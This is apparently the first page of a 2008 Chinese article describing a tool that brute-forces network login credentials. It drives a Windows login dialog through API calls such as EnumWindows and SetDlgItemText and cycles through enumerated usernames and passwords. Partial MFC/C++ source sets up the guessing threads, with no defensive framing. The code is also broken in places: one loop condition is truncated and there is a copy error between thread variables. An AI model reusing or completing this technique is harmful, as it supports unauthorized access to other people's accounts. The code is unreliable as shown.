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2008-10-28 18:23:43

  网络用户密码猜解算法的主要思想是:利用提供的窗口枚举函数EnumWindows ()找到网络登录窗口。利用子窗口枚举函数EnumChildWindows ()或GetNext-DlgTabItem()和GetWindowLong()定位网络登录窗口上的各个控件。

  利用SendDlgItemMessage()或SetDlgItemText()来输入用户名及密码。利用SendMessage()发送“确定”消息。这样一来,就利用程序完成了整个网络登录过程。在重复这个过程中采用枚举的用户名和密码,进而完成网络用户名及密码的枚举猜解。

  一、猜解过程流程:

  为说明问题,下面只写出主要的过程。对于关键过程给出用V实现的源码。下面的流程中Mutex.Lock和Mutex.UnLock之间的代码只允许单线程访问。“密码枚举完”是指用户指定的字符集合已被枚举完,程序将再枚举一个新的用户名,然后重新枚举这个字符集合。关于源码中各函数的具体用法,请参阅MSDN。关于多线程的用法,可参阅《Visual技术内幕》。

  下面给出关键流程的源代码

  1. 全局变量:

  struct _Thread

  {

  CWinThread *pThread;

  };

  _Thread WindowThread[iProc],PassTread[1],UserTread[1]; )//iProc:窗口枚举线程数

  CEvent gEventNextPass;//取下一个密码,为实现同步引进

  CEvent gEventPassOk;//已取得密码,为实现同步引进

  CEvent gEventNextUser;//取下一个用户名,为实现同步引进

  CEvent gEventUserOk;// 已取得用户名,为实现同步引进

  CMutex gMutex;//互斥量,只允许单线程访问

  char cCurrentPass[MAX_PASSWORD_LENGTH]; file://当前使用的密码。

  char cCurrentUser[MAX_USER_LENGTH];//当前使用的用户名

  2. 线程启动:

  {

  file://密码枚举线程

  if(PassTread[0].pThread==NULL)

  {

  PassTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextPassL,NULL,

  THREAD_PRIORITY_LOWEST);

  PassTread[0].pThread->m_bAutoDelete=TRUE;

  file://这里略去了从文件取得密码的代码,这些代码和用户名枚举过程的代码差不多

  }

  file://用户名枚举线程

  if(UserTread[0].pThread==NULL)

  {

  UserTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextUserF,NULL,

  THREAD_PRIORITY_LOWEST);

  PassTread[0].pThread->m_bAutoDelete=TRUE;

  }

  file://窗口枚举线程

  for(int i=0;i

  {

  if(WindowThread[i].pThread==NULL){

  WindowThread[i].pThread=AfxBeginThread((AFX_THREADPROC)ThreadProc,NULL,

  THREAD_PRIORITY_LOWEST);

  WindowThread[i].pThread->m_bAutoDelete=TRUE;

  }

  }

[1]    

【责编:Yoyo】

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